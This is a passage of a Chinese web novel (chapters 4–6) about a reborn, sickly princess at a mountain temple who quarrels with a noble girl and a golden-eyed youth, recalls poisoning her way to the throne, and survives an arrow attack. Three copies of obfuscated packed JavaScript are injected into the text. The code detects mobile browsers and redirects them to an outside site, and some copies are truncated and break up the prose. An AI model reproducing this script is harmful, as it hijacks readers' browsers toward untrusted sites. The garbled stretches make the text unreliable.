凌凌山泉,啾啾鸟鸣。 有个声音断断续续传来。 低沉悦耳的男声带着几分冷淡的质感,冰凌似的,贴着耳朵灌入,渐渐分明起来。 “有为无为,有岸无岸,身居龙渊,心达彼岸......” 颜舜华再睁眼时,一切恍如隔世。 眼前没有皇宫里的百般繁华和高床软枕,灰色的素布帐子半新不旧,房间狭窄幽暗,回字纹窗子半开着,窗外是无尽绿意,葱葱郁郁的树木望不尽边际。鸟鸣声和山泉流水声一阵一阵地传进来,草木的气息在房间的每一处流转着。 颜舜华立刻知道这是哪里了。 是浮屠古寺。 窗外传来少女娇嗔的声音,“少渊哥哥,别读经文了,快尝尝我做的茶糕。” 那低沉冷淡的声音蓦地一停,随后淡淡地吐出两个字。 “走开。” 过了一会,窗外又传来一阵少女的缀泣声,显然是被那不解风情的少年伤透了心。 4. 第 4 章 颜舜华昏睡了半个月,人都躺瘦了,原本就是弱柳扶风的人,这么一病,简直瘦骨伶仃,脸颊都凹了一圈。 她一张巴掌大的小脸更加苍白,配上那黑漆漆的眼,黑漆漆的睫毛,无端透着股森森鬼气。 颜舜华只看了一眼镜子,就立刻把手中的雕花小镜扔出老远。 哐啷一声,铜镜落地,在地上滚了好几圈。 阿佩喜极而泣,夏嬷嬷老怀欣慰,泪眼婆娑,叹息道:“真好啊,咱们公主都有力气扔东西了。” 颜舜华抬手摸了摸脸,环顾四周后,有些讶异地看着屋中简陋陈设,皱起眉头:“为何这里如此简陋?” 上一世她来这养病,住的是个三进三出的院子,清幽雅致地,自成一方天地,而不是这么个连旁人吵闹声都听得清楚的陋室。 窗外又传来少女呜呜咽咽的哭泣声,阿佩说道:“公主有所不知,浮屠古寺年久失修,能住人的地方就能么几个,咱们来得晚,那个最好的院子已经住了人。” 颜舜华一愣:“那个院子住了人?” 夏嬷嬷也惋惜:“那是个三进三出的好院子,幽静又私密,最适合女儿家住着,奴婢们想出高价让他们让出院子,偏生住在那的人软硬不吃。” 阿佩点头:“那院子的守卫也是练家子,利诱不成,威逼也不成。” 这又和前世有些出入了。 颜舜华揉揉额头,倒在软枕上闭目养神,夏嬷嬷说道:“公主刚醒来,就算胃口不好也得吃点东西,我让下人去煮碗粥,再做几样容易克化的点心送过来。” 青菜粥里,肉糜剁得细细的,颜舜华喝了小半碗,又吃半个葱花银丝卷。 阿佩说道:“这浮屠古寺缺衣少食,比不上宫里,前几次还能住个好院子,哪像这回,就住个这么个小院,公主来这可真是遭罪。” 颜舜华说道:“病好了就成。” 她刚醒来,人恹恹的,打不起精神,有气无力地说了一会话后又困了。阿佩扶着她躺下,颜舜华倒在床榻上,闭上眼。 身体疲乏无力,神思也昏沉。 什么雄才大略都毁在这具不争气的身子骨上了。 颜舜华苦笑一声,无奈地闭上眼。 晚上门窗紧闭,颜舜华脱了衣衫,裸着脊背趴在软枕上,密密麻麻的银针扎满了全身,跟个小刺猬似的。 穿着素色衣裳的中年女子坐在床前,手里拿着一根点燃的艾条,熏着颜舜华的后脖颈。 中年女子名叫罗青羽,是长住在浮屠古寺里的巫医。除了针灸之外,她尤其擅长祝由术,但离了浮屠古寺,她的祝由术就不灵了。 一根短艾条燃尽,罗青羽开始收针,趴在榻上的颜舜华转抬头问她:“我这辈子能活过十六岁么?” 罗青羽看着她那张雪白的脸,说道:“若是出家做了姑子,从此远离红尘是非,日夜修身养性,少忧思,少挂碍,说不准能多活个几年,否则不得好死。” 颜舜华睁着一双黑漆漆的眼睛,哼笑一声:“那多没意思,我就要在红尘锦绣里活个轰轰烈烈痛痛快快的,否则还不如现在就死了。” 罗青羽被她这话一噎,在一旁帮着打下手的夏嬷嬷却笑了起来。 颜舜华其实是很活泼的性子,身体好的时候上树爬墙,就连颜溪玉都说她是皮猴子。后来病狠了,才有了现在这样看上去很安静的样子。 罗青羽拔出最后一根针,看见床头放着一摞书,粗略一扫,都是些奇门遁甲排兵布阵的,忍不住说道:“你这病不能费神,这些耗心血上费脑袋的书还是别看了,当心少白头。” 颜舜华说道:“白就白了,皮囊而已,有什么好在乎的。” 罗青羽又是一噎,忍不住瞪她。 颜舜华九岁那年病重,被皇宫的人送到这里求医。在雾隐山待的日子不算少。 颜舜华养病时无聊,就去古寺的书院里找了点杂书打发时间,一来二去,引起了罗青羽师哥的注意。 罗青羽的师哥见这少女异常聪慧,便偶尔讲些奇门遁甲给她听。 一个愿意教,一个愿意学。罗青羽的师哥好为人师,又给她讲兵法,两人开始在沙盘上对阵,玩得不亦乐乎。 罗青羽私下里和师哥闲聊时,师哥说颜舜华性情凶狠,杀心太重,而且是个极端之人。 与她对弈,若她占优势,便大刀阔斧横扫千军,很有名将的风姿磊落。若她劣势,便狡诈阴狠,使尽诡计,像一条阴冷难缠的毒蛇。 说到这,罗青羽的师哥也不知是感叹还是惋惜:“幸亏是个女子,若是男子,必定是搅动一方天地的风云人物。” 床榻上,颜舜华穿上小衣,披上罩衫,没骨头似的倚着背后的软枕。 罗青羽写下药方,让颜舜华的人去下山抓药,正要再叮嘱几句,窗外忽然传来少女的哭声。 那哭声一阵阵的,莫名的幽怨,颜舜华裹紧了身上的罩衫说道:“这是哪家的姑娘,哭声也太渗人了。” 罗青羽揉揉额头,“是护国公府里的四小姐。” “她干嘛哭的这样惨?” 罗青羽又揉揉额头,“上个月,这里来了个少年,长得.......” 她略微顿了顿,语气和脸色都微妙起来,“长得很是不错。” 四小姐李思年,颜舜华略微有点印象。 护国公的女儿们都生的美,李思弦灿若玫瑰,李思年也长得艳若桃李,都是不可多得的美人,说一声绝色也不为过。 这样的美人,试问天下间有几个男人能拒绝如斯美色。便是不动心,也不该将人惹哭了啊。 “让世家贵女放弃矜持频频示好,这可罕见极了”,颜舜华的好奇心一下子被勾了起来,“这得长成什么样啊?” 罗青羽笑了一声,“这么好奇啊?那就好好养病,明个自己出去看看。还有,你阳气不足,中午时找个日头充足的地方晒背,不穿衣服最好,若是怕羞,穿着衣服晒也行。” 又过了两日,颜舜华精神大好,中午多吃了两块话梅排骨。 想起罗青梅嘱咐她多晒背,颜舜华便让阿佩和夏嬷嬷带着椅子和软垫走出院子,寻一处阳光充足的好地方。 走出院子,景色豁然开阔。 颜舜华才发现这处地势十分陡峭,往前十尺是一个长满杂草野花的斜坡,斜坡下,一条清澈的小溪蜿蜒而过,正午的阳光一照,真是流水潺潺,波光粼粼。 对面是一座山,高树参天,草木葳蕤,偶尔有几只鹰从林中飞起,而后直冲云霄。 风声、鸟声、树声、溪水声,院子虽然简陋,但这景色实在是美极了。 院墙上爬满了九重紫,开着茂密的浅紫色小花,铺成厚厚的一层从墙檐上垂下来。墙边种着一排柳树,其中两颗柳树格外粗壮,两人才能合抱住,两棵树中间系着一张有些简陋的吊床,上面铺着浅灰色的粗布垫子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020648|178502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 颜舜华看了一眼便转过头,坐在斜坡上听着溪水声。 阿佩和夏嬷嬷已经把躺椅支在一颗柳树下,又架起了挂着蚊帐的架子。 躺椅是皇宫里匠人做,十分精巧,可以折起来靠墙放着省地方,放下来就是一张小床,若是躺累了,椅背可以单独支起来,变成了一把躺椅。 垂柳隐秘,此处风景辽阔优美,现下又静谧无人,颜舜华可以躺在纱帐看风景,还能借着阳光晒晒身子。 夏嬷嬷还在低声念叨着什么于理不合,颜舜华说道:“都到这深山老林里了,何必再用那些规矩拘束着自个,天地都是咱们的床铺,哪里睡不得。” 夏嬷嬷说道:“公主......小姐说的对。” 宫里人人都要学规矩,唯独颜舜华没怎么学,一来她体弱,二来她并不是皇室血脉,至于第三嘛,人人都知道颜舜华可能活不长,对她也没什么要求,多活几天就不错了。 还有就是颜溪玉和别的女子不太一样,她不想让颜舜华嫁人,没入皇宫时,她就准备给颜舜华招赘婿,不想让颜舜华吃嫁人的苦。这些年在宫里,她更是用自己的最大能力将颜舜华护在她的羽翼下。 她对颜舜华别无所求,只希望颜舜华能无忧无虑地活着。 她给寺庙捐香火钱,给菩萨大佛塑金身,每逢初一十五吃斋念佛,逢年过节都以颜舜华的名义给百姓施粥。她做这么多,只为了向上天求个功德圆满,希望颜舜华这辈子少受点苦,来世投胎能有个好身体。 颜舜华趴在软垫上,日光穿透身上的薄衫,后背被晒得暖洋洋的。 她眯着眼睛,即将睡着时,一串脚步声由远及近,逐渐清晰。 一个娇嗔悦耳的声音传过来, “少渊哥哥,你尝尝我做的点心吧,用竹筒蒸熟的糯米碾碎,卷着枣泥和红枣又蒸了一遍,放凉之后我特意放在井水里浸凉了,吃起来清甜可口,就连罗神医都说好吃。” 颜舜华把眼睛睁开一条缝,轻悄悄地从躺椅上走下来,站在柳树后面探出头。 正午的日头十分耀眼,穿着粉蓝色纱裙的少女小跑着跟在一个高个少年身后。 那少女的容颜娇艳极了,肌肤如雪,杏眼桃腮,一头青丝用粉色发带束在脑后,头上簪了几朵粉色小绢花。 那少年个子高大,肩宽腿长,穿着一身平平无奇的黑衣大步走在前面。他头上戴着个大草帽,遮住了大半张脸,颜舜华只能看到一截下巴和笼罩在帽檐阴影下的嘴唇。 目光下移,是少年被腰带束着的腰。 他肩膀宽,显得腰身窄,一双腿更是又直又长,脚上穿着一双半新不旧的黑靴,靴子中间缝了一串金扣子做点缀。 他步子迈得大,行走之间衣摆如翻涌的墨浪,靴子上的两排金扣子闪闪发光,恍如两条笔直的金线刻画在他修长的小腿上。 这身段可真风流啊。 但也没什么特殊的,身段风流的男子她也见得多了,梁玄、她前世的禁军统领许鹤鸣、她前世的未婚夫许鹤停、她登基第二年亲封的探花燕熙山、亲封的武状元向岳,样貌身段都是一等一的。 这深山老林,李家这深居闺阁的四小姐没见过什么好东西,见到个平头正脸的就忘了情了。 这般想着,颜舜华刚准备缩回头,谁知那个高个少年似乎察觉到了她的目光,忽然抬起头朝着颜舜华看过来。 颜舜华看着他的脸,倏地愣住了。 5. 第 5 章 颜舜华这辈子见到过很多绝色。 梁玄雍容华美,许鹤鸣光风霁月,他哥许鹤停英俊潇洒,探花燕熙山面如冠玉温润端方、亲封的武状元向岳高大挺拔英姿逼人。 但平生第一次,颜舜华会被一个男子的好颜色惊得说不出话来。 他的容貌是颜舜华从来没有见过的浓艳和锋锐,黛青色的长眉斜飞入鬓,双眸宛如桃瓣,满载湖光山色,寒鸦振翅似的漆黑羽睫细密浓长,半遮着金色的眸子。 他的眼珠不是常见的棕褐色,而是极璀璨耀眼的金色,眸光流转之间锐利如电,格外摄人心魂。 颜舜华的眸光落在他的嘴唇上,这么个高大笔挺的少年郎,嘴唇却像涂了胭脂似的,尤其是那一点唇珠,宛如翘立枝头的朱果,格外嫣红。 相比梁玄的俊美华贵,这人是又一种浓墨重彩的粲然华美。 正午的日头悬在天空上,却不如这少年的容貌刺眼,他眉眼之间全是凌人的盛气,颜舜华头一次体会到何为“容色逼人”,这等不俗姿容,简直能灼伤人的眼睛。 那少年迈着两条笔直的长腿,转瞬之间就走到了颜舜华这里。 颜舜华看着他,他看着颜舜华。 离得近了,颜舜华才发现这少年右眼眼底生着一颗红痣,半掩在他纤长的下睫毛底下,嫣红如朱砂,仿佛如血朝阳镌刻在他眼底,尤为摄魄钩魂。 怪不得四小姐,确实怪不得四小姐。 如此绝色,岂是一个闺阁女儿能抵挡住的。 对上他的目光,颜舜华愣了愣,她很少躲避别人的目光,直接不闪不避地看了过去,目光从上到下,在少年脸上流转了好几圈。 少年在那颗有吊床的柳树下停住,摘掉斗笠,翻身躺在上面。 护国公家的四小姐气喘吁吁地小跑过来,献宝似地说道:“少渊哥哥,食盒里还有一碗凉茶,你喝一碗消消暑吧。” 这大热天的,一个娇小姐拎着个笨重食盒跑来跑去,这少年却如此不解风情,颜舜华都有点心疼这位四小姐了。 少年躺在吊床上,拿起斗笠盖在脸上,冷冷说道:“走开。” 四小姐呆住了,站在那一动不动的,过了一会,她吸了吸鼻子,一串串眼泪从圆润明亮的杏眼里滚落下来,发出一阵阵细微的抽泣声。 呜咽声一阵阵的,饶是铁石心肠的人听了也得心生恻隐之情。 古寺无聊,难寻到什么乐子,颜舜华正准备看一出少男少女嗔痴爱恨的戏码,等了半天,那少年却躺在吊床上一动不动,理都不不理这芙蓉泣泪的四小姐。 颜舜华等了一会,实在看不下去了,想了想还是从树后走出来,给四小姐递了块帕子,笑着说道:“这天气闷热,我正好想喝碗凉茶,吃几块点心,不如你来我这小坐一会,正好也在树下乘乘凉。” 那四小姐哭声一停,她没接颜舜华递来的帕子,先是看了看颜舜华的穿着。 颜舜华穿的苎麻衫子,这布料透气吸汗,晚上穿着也不凉,但容易皱。 颜舜华刚从躺椅上下来,白色的灯笼裤和浅丁香色罩衫都皱巴巴的。她没戴首饰,一半发丝在脑袋上挽了两个猫耳朵似的双螺髻,另一半发丝披散下来,略有些凌乱地贴在微微出汗的脸颊和脖颈上。 如此穿着装扮,对于女子而言实在是有些放荡不羁了,实在不像规矩人家的女儿。 四小姐眼里流露出一丝轻蔑,大约在少年那里碰了太多钉子,一身火气正无处发,居然拎起食盒朝着颜舜华一扔。 “哪来的打秋风的,成心来看我笑话!” 谁也预料不到这四小姐脾气竟然如此骄横,一时间谁也没有防备。那食盒朝着颜舜华胸口砸过来,好在一旁的阿佩及时拉了一下,飞来的食盒擦着颜舜华的手臂哐当一声落在地上,里面的糕点凉茶滚了一点,颜舜华浅紫色绣鞋也被凉茶泼脏了。 阿佩怒气冲冲地看着四小姐:“我家小姐好心替你解围,你倒恩将仇报,可真不要脸!” 李思年冷笑:“我用的着她献殷勤?她哪里是帮我解围,分明是看我笑话。” 颜舜华的手臂一阵阵的疼,她甩了甩手臂,盯着李思年看了一瞬。 她脸色苍白,一双眼睛漆黑漆黑的,莫名有些渗人。李思年莫名有些怵,但一看颜舜华的穿着也不像什么名门世家出来的女儿,又收起心,正准备呛她几句,就见这苍白的少女弯腰拎起地上的食盒掂了掂。 颜舜华抡起手臂,把食盒朝着这位蛮横的四小姐砸了过去。 砰的一声! 食盒砸在李思年头上,一下子砸歪了她的发髻,乌发斜坠,钗环凌乱,李思年发出一声痛呼,踉跄后退几步,捂着脑袋蹲在地上。 跟在不远处的两个丫鬟小跑过来,其中一个丫鬟指着颜舜华骂道:“你知道我们小姐是谁么!居然敢如此无礼!” 颜舜华嗤笑:“我管你家小姐是谁,就算是皇宫里的皇子公主,我也照砸不误。” 李思年的额头已经红肿一片,又开始呜呜呜地哭了起来。 阿佩也仰起脖颈说道:“我家小姐砸你,那是赏你的脸,你家小姐这种不识好歹的人,被砸死也是应得的。” 那个丫鬟愣了愣,想不到对面的小姐和下人一个赛一个的骄横跋扈,气势蓦地矮上一截,一时间也不知道如何是好了。 李思年被咋得头晕目眩,好半晌说不出话来,两个丫鬟对视一眼,那个丫鬟色厉内荏地放了句狠话:“我们走着瞧!” 阿佩破口大骂:“再敢对我家小姐出言不逊,我就把你们的舌头割下来!” 那两个丫鬟狠狠瞪了颜舜华一眼,扶着李思年往回走。 夏嬷嬷在一旁摇头:“什么人啊这是,好歹也是名门闺秀,怎么涵养如此之差。” 颜舜华理了理衣裳,笑了一声:“什么名门闺秀,不过是看碟下菜罢了。” 夏嬷嬷叹息:“小姐穿得这样素,又都是旧衣裳,那些见识短浅的,难免轻视小姐。” 颜舜华说道:“旧衣柔软,新衣总要磨合许久。” 颜舜华倒也不是不爱新衣,也不是爱穿素白衣裳,只是穿上新衣之后肌肤总是莫名发痒,要么是衣服料子不舒适,要么就是染衣的染料令她起红疹。 这次来山中隐居养病,带在身边的要么是常穿的旧衣,要么不染色的白衣,有时候颜舜华嫌弃颜色太素,会把葡萄皮捣碎了染衣裳,她好几件浅紫色的苎麻罩衫就是葡萄皮染成的。 阿佩很生气:“又不是穿不起新衣,真是狗眼看人低。” 颜舜华说道:“算了吧,继续晒太阳去,可别辜负了这好阳光。” 她转身,余光瞥了一眼柳树中间悬挂的吊床。 那少年脸上盖着斗笠,动都没动一下,两条长腿搭在一起,靴子上的那排金扣亮闪闪的。 颜舜华正要收回目光,那少年却突然拿掉了脸上的斗笠,一双耀眼的金色眸子朝她看过来。 颜舜华从来没有见过这样璀璨的眼睛,眼珠里仿佛是一圈又一圈的光轮嵌入进去。 对视之间,这少年眼睫细密浓长,睫下那颗红痣艳红妖冶,好像刚吸饱了血,看的人心头一跳。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020649|178502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他的眼神十分锐利,如破空而来的金色箭矢,颜舜华不闪不避,看着他眼珠里一层层光轮般的金色纹路。 很特殊的眼睛。 少年的目光在颜舜华脸上转了一圈,微微眯了眯眼睛,过了会,少年开口说道:“看够了么?” 这少年语气不好,颜舜华也不是什么好脾气,阴阳怪气地说道:“公子容颜世所罕见,睫下这可红痣更是增添了不少艳色,又是如此的神清骨秀,可真是艳骨风流,便是看上一生,我也还嫌不够呢。” 那少年耳尖蓦地一红,眸子染上一层怒意,随即向下扯了下唇角,冷笑一声,怒斥道:“轻浮。” 颜舜华嗤笑:“我真心实意地夸你,你倒不乐意了,真是不识抬举,是你自己长了一张招蜂引蝶的脸,怪我做什么,若是不许人看就把脸遮起来呗,少在这又当又立的,我可没有贞洁牌坊立给你!” 这少年气得不轻,一下子就从吊床上坐起来,对颜舜华怒目而视。 颜舜华朝他翻了个白眼,转身走了,继续趴在躺椅上晒背。 一树之隔,互不干扰。 颜舜华的后背暖洋洋的,像只太阳底下打盹的猫,很快就睡着了。 阿佩和夏嬷嬷坐在一旁做绣活,风吹动柳叶,溪水潺潺流动,微风送来一阵阵花香草香。 颜舜华又梦见前世了。 这次梦见的,是她十八岁出嫁那天。 她戴着华丽的头冠,穿着大红嫁衣坐在花轿里,抚摸着袖中的弩箭。 这是极其精巧的袖中弩箭,可连发十二次,这是颜溪玉给她的嫁妆。 娘亲总会做一些让人意料不到的事,她的想法和很多女子不一样。 颜舜华抚摸着冰凉的弩箭,想不出自己要杀谁,或者说这个时候的她,也没有想过要杀谁。 花轿到了门前,前面突然传来一片混乱的人声,不知道在吵嚷着什么。 颜舜华坐在花轿里,迷茫地看着遮在眼前的红盖头。 这是她第二次成亲了。 第一次去北狄和亲,北狄太子死了。梁玄把她从北狄带走,将她秘密幽禁在庄子里,许鹤停找到了她。 回到宫里之后,景帝震怒,让颜舜华削发为尼,颜溪玉拼死求情,这才换来了这个婚事。 她成了不光彩的人,婚事也简陋,哪怕生着病,走路都走不稳,还是被塞进了这一方小小的花轿里。 嫁的人还是从小就不怎么喜欢她的许鹤停,许鹤停是梁玄的伴读兼好友,也比别人更能意识到颜舜华性格里相当黑暗的一面,所以即便是从小相识,他也敬而远之,甚至对她有些厌恶。 颜舜华也不明白后来的日子该如何是好。 过了一会儿,外面的吵嚷声停了,花轿的车帘被掀开,一只修长洁白的手掌伸过来,握住了颜舜华的手,把颜舜华从花轿里抱了出来。 他的臂膀强健有力,怀抱坚实温暖,颜舜华闻到了他身上淡淡凉凉的木槿花香。 这一瞬间,颜舜华忽然知道这个男人是谁了。 不是她的夫君许鹤停,而是许鹤鸣。 只有许鹤鸣喜欢木槿花,因为颜舜华的舜华,本就是木槿花的意思啊。 喜欢木槿花,就是喜欢颜舜华。 那一日,北阙来犯,许鹤停远赴战场,只好让孪生弟弟许鹤鸣代他成亲。 婚后第三月,信使传来消息。 北阙皇子渊的破甲箭射穿了许鹤停身上的重铠,那一箭穿透心脏,许鹤停当场毙命。 颜舜华的第二个夫君,就这样死了。 6. 第 6 章 颜舜华从梦里醒来时太阳已经快落山了。 时至今日,她偶然也会觉得眼下的一切都是一场梦,真正的她已经沉入血海永坠阎罗。 她料想自己是没有什么福报的,杀孽太重,又是亡国之君,死后必将坠入无间地狱,就算转世投胎,估计要入畜生道,成为砧板上待宰的牲畜。 她摸了摸了脸,想起了新婚那一日颜溪玉亲手给她画的红妆。 脸上有了颜色,她也变得好看了,连颜溪玉都说她美,不愧是她的女儿。 说完之后,颜溪玉又开始叹息,颜舜华知道她在叹息什么。 颜舜华的身体是无法承受鱼水之欢的,身体受到太强烈的刺激就会晕厥,所以她的婚姻注定不会幸福。 成为女帝后,她喜欢许鹤鸣,却也深知自己绝非许鹤鸣的良配,连个一夜风流也做不到,干脆歇了心思,可偏偏许鹤鸣是真正光风霁月的君子,不在乎男女之欢,就在这宫廷中,日复一日的守着他。 所以颜舜华也只能对他珍之爱之,不敢有半分造次。 天际残阳如血,山林铺满了金粉色的柔光,颜舜华捂着阵阵作痛的心口,第一万次恨自己的身子骨太不争气。 重活一世,本该抢占先机顺时而谋,却受病体所累缠绵病榻,只能在这个远离大梁的皇宫里养病,颜舜华叹了口气,抬手揉了揉脖子。 许鹤停战死后的第二个月,颜溪玉突然被赐死,颜舜华回到皇宫时,颜溪玉已经被景帝烧成了一捧灰,洒在了荷花池的淤泥里。 她当女帝后派人去查这件事,却一无所获,连个蛛丝马迹也寻不到,好像真是景帝突然发了疯。 颜溪玉死后,景帝身体大不如前,开始求仙问药,她决心要给颜溪玉报仇,便买通了一个术士,再经过各方打点送进宫去。 颜舜华嫌他死的慢,又往丹药里加了毒,丹毒入骨,景帝痛不欲生,颜舜华又根据古籍上的记载,找到了一种可以使人忘记疼痛的烟膏。 双管齐下,景帝两个月就去世了。 梁玄继位后强行把颜舜华接到皇宫里与他同吃同住,那时李思弦已经成了皇后,视颜舜华为骨中钉肉中刺。 颜舜华种了一堆蓖麻,再根据颜溪玉无意间提到的几句话炼出了蓖麻毒,下进了梁玄的茶水里,又在他垂危时,联合已经成为禁军统领的许鹤鸣发动宫变,杀了梁玄和李思弦。 颜舜华的弟弟梁珏继位。 梁珏是颜溪玉进宫后的第二年生出来的,颜溪玉死后他便被景帝厌弃,关在一个偏僻荒芜的小院里。 景帝子嗣虽多,但儿子只有两个,于是梁珏登基为帝,正当颜舜华觉得自己可以松一口气时,因为北阙势强,所以北狄和大梁准备联盟。 两国联盟要互送人质。 作为梁珏一母同胞的亲姐姐,北狄要大梁送颜舜华为质。 北狄的皇帝喜好淫/虐女子,不仅让自己的妃子在朝堂上玉体横陈,更是强迫不少名门贵女进宫侍奉,专门与大臣一起亵玩。 不是没有其他的人选,不是没有其他的办法,可是其他的公主母家势力非凡,登基的梁珏本就根基薄弱,他谁也不愿得罪,只有颜舜华无依无靠,是一枚最好拿捏的棋子。 颜舜华是没什么家国情怀的,大梁的家国天下,却让她一个姓颜的去成全,实在是可笑至极。 以前种下的蓖麻长势旺盛,于是她一不做二不休,把梁珏也毒死了。 她伪造圣旨,成为了监国公主,随后又派人调查自己的身世,说自己是皇室血脉,只因在民间所生,又是景帝的一桩风流往事,景帝觉得不太光彩,这才没让她改姓。 一番折腾后,她又杀了不少人,在朝堂上展示出过人的聪明才干,终于登基为帝,年号云起。 这一年,颜舜华十九岁。 * 见她醒来后一直发呆,夏嬷嬷和阿佩扶她起来,一边给她穿鞋子一边笑着说道:“小姐睡迷糊了,醒来都在愣神呢,怕是不知道今夕是何年了。” 阿佩也笑了起来,上前给颜舜华整理衣衫,又把躺椅折起来收走。 颜舜华穿好鞋子回到小院里,吃了两口鸡汤榛蘑馄饨,看了会水利天文的书,这才上了榻睡觉。 刚合上眼,颜舜华忽然听到箭矢的破空之声,她还来不及惊叫,眼前人影一闪,睡在小榻上的夏嬷嬷已经站在床头,单手接住了破窗而来的箭矢。 那箭矢带着巨大的力道,差点脱手而出,夏嬷嬷后退好几步才堪堪稳住身形。 第二支破空而来的箭矢被阿佩抡起凳子砸在了地上,阿佩尖叫起来:“有刺客!保护公主!” 除了夏嬷嬷和阿佩,还有守在院子周围的十二个护卫,个个都是武功一流的好手。 阿佩从袖子里抽出匕首,十分敏捷地飞跃到床榻前,和夏嬷嬷一起,将颜舜华严严实实地挡在身后。 第三支箭矢破空而来,夏嬷嬷抽出腰间的鞭子,眼疾手快地将箭矢甩开。 小院里传来许多脚步声,守卫在小院四周的护卫飞速围在门前。今夜月色很亮,他们的影子被冷白的月光映在窗上,像黑白色的皮影戏,漆黑又森冷。 颜舜华不害怕。 但她有些茫然。 谁会刺杀一个没有权势的公主? 难不成是图财害命? 雾隐山虽是人迹罕至的古寺,但这里也养了不少很有武力的护院和僧人,对付山匪和流寇不成问题,是哪个亡命之徒敢这样铤而走险。 颜舜华脑中的疑问一个个地冒出来,她想了很久,也不记得自己在这个时候招惹过什么仇敌。 室外喧哗起来,传来许多脚步声,过了一会,门被敲了两下,门外传来一个温和厚重的男声。 “舜华,可还安好?” 听见这个声音,夏嬷嬷和阿佩都松了口气,颜舜华说道:“我没事。” 她的声音有点弱,一听就知道中气不足,体质虚弱。 那声音又说道:“方便见人么?” 颜舜华说道:“先生进来吧。” 吱呀一声,门被推开,穿着一身灰蓝道袍的中年男子走进来。 这是一个样貌端正身形瘦削的中年男子,气质儒雅平和,又带着几分修道之人的仙风道骨,脸上带着祥和平静的笑,手里拿着一把雪白的拂尘。 这是罗青羽的师哥、颜舜华的半个老师——罗青峰。 颜舜华裹在紫色披风里,露出一张苍白的脸,罗青峰捡起地上的箭矢掂了掂,说道:“这箭矢比普通的要重些。” 颜舜华说道:“射箭的也不是普通武夫,夏嬷嬷差点接不住他的箭。” 罗青峰说道:“倒好像特意来杀你的,你在宫里和谁结仇了?” 颜舜华叹息:“我一个无权无势的公主能和谁结仇啊,日日谨小慎微地活着,顶多和别人斗几句嘴,都是别人看我不顺眼。” 罗青峰说道:“这倒奇了。” 颜舜华握住箭矢看了一眼,笑着说道:“没什么稀奇的,寺里不正有一个神弓手么?” 罗青羽说道:“你是说季少渊?” “原来他叫季少渊。”颜舜华又笑了一声,“他食指和中指都有射箭留下的茧,走路时下盘很稳,一双眼睛锐利有神,一看就知道是习武之人。” 罗青羽一愣:“就算是斗了两句嘴,也不至于要杀你吧?” 颜舜华说道:“没办法,有的人天生心眼小还记仇,心肠又很歹毒。” 就比如她自己。 罗青羽说道:“那你要怎么办?” 颜舜华歪着头,朝着罗青羽笑了笑。 她眼珠黑漆漆的,瞳仁比正常人大了一圈,脸色苍白的像个雪人,这一笑莫名渗人,看的罗青羽胳膊上起了一圈鸡皮疙瘩。 * 季少渊住的地方是个三进三出的大院子,环境清幽雅致,这次出门他带了不少人,因此院中守卫森严。 他千里迢迢地从北阙来到大梁,是因为他这些日子反复做着同一个梦。 在梦里,北狄被他灭国,他势如破竹,让大梁的军队节节败退。梦里的他意气风发,踌躇满志,早已视天下为囊中之物。 大梁摇摇欲坠,危在旦夕,前后三任皇帝全部死于非命后,居然由一个公主继承了皇位,成为了千年以来的第一位女帝。 梦里的他听了这个消息后一阵嗤笑,和自己的属下说大梁实在荒唐,居然让一个女人当皇帝,这是嫌灭国的速度还不够快么? 属下们也纷纷摇头嗤笑,说大梁昏招频出,真是自取灭亡,这是天助北阙,让北阙一统天下的好机会。 于是他志得意满,率兵攻打大梁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020650|178502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>大军整装待发,即将与大梁军队交战时,忽然有疫病开始在军中蔓延。 那疫病迅疾,且来势汹汹,一传十,十传百,就连他的主将和副将也染了病。 他的铁骑从猛虎变成病猫,大梁又率兵偷袭,先是烧毁粮仓,随后又截断军需补给,再然后又深夜攻打北阙大军。 那一战打得他灰头土脸,仓皇逃窜,半路上也染了疫病,好在身子骨素来强健,熬过四日高热后便痊愈了。 这是他的第一次败仗,深夜复盘后觉得这场疫病实在来的蹊跷,便派人调查。 这一查,便查到了一批军妓头上。 这批军妓送来时都发了高热,人们都当是路途艰辛,加之女子体弱又要伺候军中将士,这才生了病,便没有太多留意。 这般深查下去,又查到军妓营帐中有个被掳来的厨娘,顺藤摸瓜后,又查出几个形迹可疑的人。 原来这场疫病,不是天灾,而是人祸。 后来他准备一雪前耻,一年后,他再次攻打大梁,北阙却发生了蝗灾。 蝗灾乃天罚,他的父皇下了罪己诏,设稷坛祈求上苍恩佑。 大梁也发生了蝗灾,可是那女帝不信鬼神,不下罪己诏,也不设祭坛,而是积极灭蝗,提出了一个“夜火坑埋法”,让大梁百姓夜间焚火诱杀蝗虫,而后挖坑掩埋。 大梁的蝗灾止住了,可北阙发了饥荒。 